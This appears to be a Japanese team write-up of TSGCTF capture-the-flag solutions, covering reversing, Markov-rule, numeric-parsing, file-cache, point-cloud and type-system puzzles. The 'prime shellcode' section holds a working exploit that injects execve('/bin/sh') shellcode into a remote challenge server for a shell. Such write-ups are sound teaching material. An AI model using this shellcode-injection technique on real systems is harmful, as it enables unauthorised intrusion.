次にGDBスクリプトを解析すると、以下の処理をしていることがわかった。
1. main関数にブレークポイントを仕掛ける
2. バイナリ内のデータから復号したスクリプトを実行
- 入力をmmapで確保した領域にコピーし、1バイトずつ2回XORする
3. バイナリ内のデータから復号した機械語を実行
- 8バイト単位で2.の結果を置換する
4. 3.の結果に0x89fc76aef8d6a8c3を加算する
5. memcmpで4.の結果を比較
最終的に以下のソルバーによりフラグが得られた。
```python
data_6547ea867fa0 = '42d31f3164feaea202ad05481cac96d5e6624b23b5d0f7a7ca56195908603aac757dc4050a8eb8074f793defad737938'
v1 = [int.from_bytes(bytes.fromhex(data_6547ea867fa0[i*16:i*16+16]), 'little') for i in range(len(data_6547ea867fa0)//16)]
v2 = []
for i in range(len(v1)):
v = v1[i] - 0x89fc76aef8d6a8c3
if v < 0:
v += 1<<64
v2.append(v)
# 得られたアセンブリからv2を手動で置換
v3 = [0x66221E42571B1B1D, 0x2063383B75652F77, 0x6B655A6961635674, 0x641733226F50717C, 0x624F786E344F6E7A, 0x1C566D342C774434]
# XOR演算に使われた値をデバッガで取得
v4 = [73, 72, 92, 20, 22, 88, 89, 86, 21, 73, 16, 64, 88, 89, 84, 16, 6, 9, 0, 0, 7, 5, 4, 7, 73, 65, 15, 26, 23, 0, 72, 3, 30, 12, 16, 85, 0, 28, 16, 0, 5, 42, 22, 94, 77, 16, 86, 28]
v5 = b''.join([int.to_bytes(i, 8, 'little') for i in v3])
v6 = [v5[i] ^ v4[i] for i in range(len(v4))]
v7 = ''.join([chr(i) for i in v6])
print(v7)
```
### serverless
ユーザーはサーバーに`/TSGCTF%7B...%7D`のようなパスでアクセスできる。もしこのパスが正しいフラグであればマルコフアルゴリズムによって置換が繰り返されて`/`で停止する。本問題ではそのようなパスを探すことが目的である。
まず以下のルール群より、`/TSGCTF(f)(t)(c)(g)(s)(t)`は`/`に置換されることがわかる。
```
^(.*)M\(m\) -> \1
^(.*)H\(h\) -> \1
[...]
```
また以下のルール群より、`/TSGCTF%7Bhoge_fuga_piyo%7D`は`/TSGCTF(/hoge)(/fuga)(/piyo)`のような形に置換されることがわかる。つまり、`/TSGCTF(/hoge)(/fuga)(/piyo)`における`()`内の文字列が`f`,`t`,`c`,`g`,`s`,`t`にそれぞれ置換されるものであればよい。
```
^(.*)%7D%7B -> \1+
^(.*)%7D -> \1)
^(.*)%7B -> \1(/
^(.*)_ -> \1)(/
^(.*)/\) -> \1)
```
残りのルール群を観察すると、`TSGCTF(...)(/p1 p2 ... p2' p3)(...)`のような形のパスがあったときにp1~p3がそれぞれ以下の形のルールに対応していそうだと予想できる。
```
p1: \1hITB/
p2: \1(o)(q)(d)FCU/
p3: \1(r)(w)(d)/
```
p1~p3の組み合わせが正しければ、最初に示した`^(.*)M\(m\) -> \1`から始まるルール群によって置換されていき最終的にp1の小文字のアルファベットのみが残る。
以上から、正しいp1~p3の組み合わせを求めるソルバーを書くとフラグが得られた。
```python
def parse_rules():
rules = []
with open('compose.yml', 'r') as f:
for line in f:
if 'pattern' in line:
pat = line.split('"')[1].split('"')[0].replace('\\\\', '\\')
elif 'substitution' in line:
sub = line.split('"')[1].split('"')[0].replace('\\\\', '\\')
rules.append((pat, sub))
return rules
def extract_key(sub, idx):
return f'({sub[idx+2]})({sub[idx+1]})({sub[idx]})'.lower()
def find_stage1(rules):
for pat, sub in rules:
if '(' not in sub and len(sub) >= 3 and sub[2] in 'tsgctf':
key = extract_key(sub, 3)
find_stage2(key, {key}, sub[2], pat.split('/')[1], rules)
def find_stage2(current_key, visited_keys, top, flag, rules):
for pat, sub in rules:
if current_key in sub:
if ')/' in sub:
parts[top] = (flag + pat.split('/')[1]).replace(' ', '').replace('\\', '')
else:
next_key = extract_key(sub, 11)
if next_key not in visited_keys:
find_stage2(next_key, visited_keys | {next_key}, top, flag + pat.split('/')[1], rules)
parts = {}
rules = parse_rules()
find_stage1(rules)
flag = '_'.join([parts[c] for c in 'tsgctf'[::-1]])
print(f'TSGCTF{{{flag}}}')
```
## Misc
### Cached File Viewer
```
1. load_file
2. read
3. bye
choice > 1
index > 1
filename > flag
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 2
filename > flag
1. load_file
2. read
3. bye
choice > 2
index > 2
content: TSGCTF{!7esuVVz2n@!Fm}
```
### simple calc
```python
import bisect
from collections import defaultdict
from itertools import product
import json
import pickle
from unicodedata import numeric
from tqdm import tqdm
print("[+] extracting numerics...")
b1 = {}
for i in range(0x110000):
if not chr(i).isnumeric(): continue
try:
a = numeric(chr(i))
if a not in b1:
b1[a] = chr(i)
except:
pass
print("numerics:", [*sorted(b1.keys())])
b2, b3, b4, b5 = {}, {}, {}, {}
bucket = { 1: b1, 2: b2, 3: b3, 4: b4, 5: b5 }
def add(i: int, x: float, s: str):
if x in bucket[i]: return
bucket[i][x] = s
print("[+] generating...")
for i in [2,3]:
for p in product(*([list(b1.keys())] * i)):
x = 0.
for c in p: x = 10 * x + c
add(i, x, "".join([b1[c] for c in p]))
key3 = list(bucket[3].keys()); key3.sort()
numbers = {}
for c1, v1 in tqdm(bucket[2].items()):
if 12346 <= c1: continue
l, r = 12345678 - c1 * 1000, 12345778 - c1 * 1000
lind, rind = bisect.bisect(key3, l), bisect.bisect(key3, r)
for i in range(lind, rind):
c2 = key3[i]
v2 = bucket[3][c2]
c, v = c1 * 1000 + c2, v1 + v2
numbers[int(c)] = v
from pwn import *
s = b""
i = 12345678
while True:
stream = remote("34.146.186.1", 53117)
stream.sendline(numbers[i])
c = stream.recvline().split()[-1]
if c == b'*': break
s += c
i += 1
print(s, c)
stream.close()
```
### Cached File Viewer 2
```
1. load_file
2. read
3. bye
choice > 1
index > 0
filename > /var/lib/dpkg/info/libdb5.3t64:amd64.shlibs
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 0
filename > flag
Read 22 bytes.
content: TSGCTF{hQAz-yXc6fLoyK}
Overwrite loaded file? (y/n) >
```
### prime shellcode
Author: zatsu
#### 解法
stack上にshellcodeの開始位置へのアドレスが存在するため、`pop r9` 等の命令を用いてstack addressを得られる。
payload内の適当な位置に `\x0d\x05` を入力しておき、そこに `add r5 0x02; mov r11, r15; add rdx, r11` のような命令を用いて2を加算して `\x0f\05` (`syscall`) を作る。
その後、適切にレジスタを設定して `read(0, shellcode addr + x, y)` を呼び出し、`read` での入力でshellcodeを注入することでshellが得られた。
#### コード
```python
from ptrlib import *
# p = Process(['./prime_shellcode'])
p = Socket('34.146.186.1', 42333)
payload = b''
def c(x):
length = 0
y = x
while y > 0:
y >>= 8
length += 1
return [(x >> (length * 8 - i - 8)) & 0xff for i in range(0, length * 8, 8)]
payload = [2, 2, 2]
payload += [89, 89] # pop rcx * n
# まずはどうにかしてstack addressを移す
payload += c(0x4359) # pop r9
payload += c(0x4f8be9) # mov r13, r9
payload += c(0x67498be5) # mov rsp, r13
ofs = 0x100
for i in range(ofs // 8):
payload += c(0x4359) # pop rcx
# 494989e3: mov r11, rsp
payload += c(0x494989e3) # mov r11, rsp (これが 0xdfb のアドレス)
# 43498b13: mov rdx, qword ptr [r11]
payload += c(0x43498b13) # mov rdx, qword ptr [r11]
# 4983c725: add r15, 25
payload += c(0x4983c702)
# 4f89fb: mov r11, r15
payload += c(0x4f89fb)
# 674903d3: add rdx, r11
payload += c(0x674903d3)
# 4989d3: mov r11, rdx
payload += c(0x4989d3)
# 4353: push r11
payload += c(0x4353)
# ここまででsyscall用の命令セットができたので、レジスタを設定していく
# raxはdefaultで 0 (read) なので問題なし
# rdiも 0 (stdin) でよい
# rsi (buf) は rspの直後とかにする
# rdx (len) の設定も適当に
# 434f89e3: mov r11, r12
payload += c(0x434f89e3)
# 47b3fb: mov r11b, 0xfb
payload += c(0x47b3fb)
# 47498bd3: mov rdx, r11
payload += c(0x47498bd3)
# r11 += r15 してstack pointerをズラすので、そのためにr15を適当な8の倍数にする
# 現時点の r2 は 0x2 なので, ここから 0x100 にする
# 4983c77f: add r15, 0x7f
payload += c(0x4983c77f)
payload += c(0x4983c77f)
# syscallの引数は少し増やしてから渡す
# 434989e3: mov r11, rsp
payload += c(0x434989e3)
# 4f03df: add r11, r15
payload += c(0x4f03df)
# 4f4f8be3: mov r12, r11
payload += c(0x4f4f8be3)
# 474f89e5: mov r13, r12
payload += c(0x474f89e5)
# 494f89e9: mov r9, r13
payload += c(0x494f89e9)
# 49498bf1: mov rsi, r9
payload += c(0x49498bf1)
payload.extend(c(0x02c1) * ((ofs - len(payload)) // 2 - 10))
while len(payload) < ofs:
payload += [89] # dummy
assert len(payload) == ofs
print(ofs)
payload += c(0x0d05)
payload += [89] * 6
with open('payload', 'wb') as f:
print(payload)
payload = bytes(payload).ljust(0x1000, b'\x05')
f.write(payload)
p.sendafter(b':', payload)
p.send(b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05")
p.interactive()
```
### Scattered in the fog
```python
import copy
import string
import numpy as np
import cv2
import open3d as o3d
from sklearn.decomposition import PCA
alphabet = string.ascii_uppercase + "{}_"
print(len(alphabet))
patchsize, shift = 64, 64
patches = np.zeros((len(alphabet)+1, patchsize, patchsize), np.uint8)
offset = 8
for i in range(len(alphabet)):
cv2.putText(patches[i], alphabet[i], (offset, patchsize-offset), cv2.FONT_HERSHEY_SIMPLEX, 2.0, 255, 4)
known_flag = "TSGCTF{_________________________________________________ROCESS}" # secret!
assert len(known_flag) == 63
radii = (len(known_flag) - 1) / 2
coords = np.load("orig.npy")
# 2. 平均を原点に移動(センタリング)
mean_coords = np.mean(coords, axis=0)
coords_centered = coords - mean_coords # shape: (N, 3)
# 3. PCA を適用し、主成分空間へマッピング
pca = PCA(n_components=3)
pca.fit(coords_centered)
coords = pca.transform(coords_centered) # shape: (N, 3)
# Rotate 90 degrees around the y-axis
theta = np.radians(-90)
c, s = np.cos(theta), np.sin(theta)
rotation_matrix = np.array([
[c, 0, s],
[0, 1, 0],
[-s, 0, c]
])
coords = coords @ rotation_matrix
charactors = 3
coords_target = []
for i in range(len(known_flag)):
if not (i < charactors or len(known_flag) - i <= charactors): continue
index = alphabet.index(known_flag[i])
img = patches[index]
xmap, ymap = np.meshgrid(np.arange(patchsize), np.arange(patchsize))
xs = xmap[np.where(img == 255)].astype(np.float32)[:, None]
ys = ymap[np.where(img == 255)].astype(np.float32)[:, None]
zs = np.full_like(xs, shift * (i - radii))
coords_target.append(np.concatenate([xs, ys, zs], axis=1))
coords_target = np.concatenate(coords_target, axis=0)
# extract "TSG ... xx}"
coords_orig = coords
coords_extracted = coords
coords_extracted = coords_extracted[
(coords[:, 2] <= 64 * (-32 + charactors)) |
(coords[:, 2] >= 64 * (32 - charactors - 1))
]
coords_extracted = coords_extracted[(coords_extracted[:, 0] ** 2 + coords_extracted[:, 1] ** 2) <= 36 ** 2]
pcd_orig = o3d.geometry.PointCloud()
pcd_orig.points = o3d.utility.Vector3dVector(coords_orig)
pcd_extracted = o3d.geometry.PointCloud()
pcd_extracted.points = o3d.utility.Vector3dVector(coords_extracted)
pcd_target = o3d.geometry.PointCloud()
pcd_target.points = o3d.utility.Vector3dVector(coords_target)
reg_result = o3d.pipelines.registration.registration_icp(
source=pcd_extracted,
target=pcd_target,
max_correspondence_distance=16,
init=np.eye(4),
estimation_method=o3d.pipelines.registration.TransformationEstimationPointToPoint(),
# criteria=o3d.pipelines.registration.ICPConvergenceCriteria(relative_fitness=0, relative_rmse=0, max_iteration=5000)
criteria=o3d.pipelines.registration.ICPConvergenceCriteria(relative_fitness=1e-1000, relative_rmse=1e-1000, max_iteration=5000)
)
print("Fitness (overlap ratio):", reg_result.fitness)
print("RMSE:", reg_result.inlier_rmse)
print("Transformation matrix:\n", reg_result.transformation)
transformation = reg_result.transformation
pcd_orig_transformed = pcd_orig.transform(transformation)
coords = np.asarray(pcd_orig_transformed.points)
coords[:, 1] = coords[:, 1] % 64
coords[:, 0] = coords[:, 0] % 64
# pcd = o3d.geometry.PointCloud()
# pcd.points = o3d.utility.Vector3dVector(coords)
# o3d.visualization.draw_geometries([pcd])
image_list = []
for i in range(64):
z_min = 64 * (-31.5 + i)
z_max = 64 * (-31.5 + i + 1)
subset = coords[(coords[:, 2] >= z_min) & (coords[:, 2] < z_max)]
img = np.zeros((64, 64), dtype=np.uint8)
x = subset[:, 0].astype(int)
y = subset[:, 1].astype(int)
img[y, x] = 255
image_list.append(img)
combined_image = np.hstack(image_list)
cv2.imwrite('res.png', combined_image)
```
### H*
```
let f:: x::Integer{x>1} -> Tot(res::Integer{res=0}) = \x -> (x-1) / x in
(if ((f 5) + (f 5)) > 1 then (flag 1) else (print 0))
__EOF__
```
---
Arata, いわんこ, kiona, keymoon, tsune, hiikunZ, みゃう, Rona, ryohz, Yu, yu1hpa, zatsu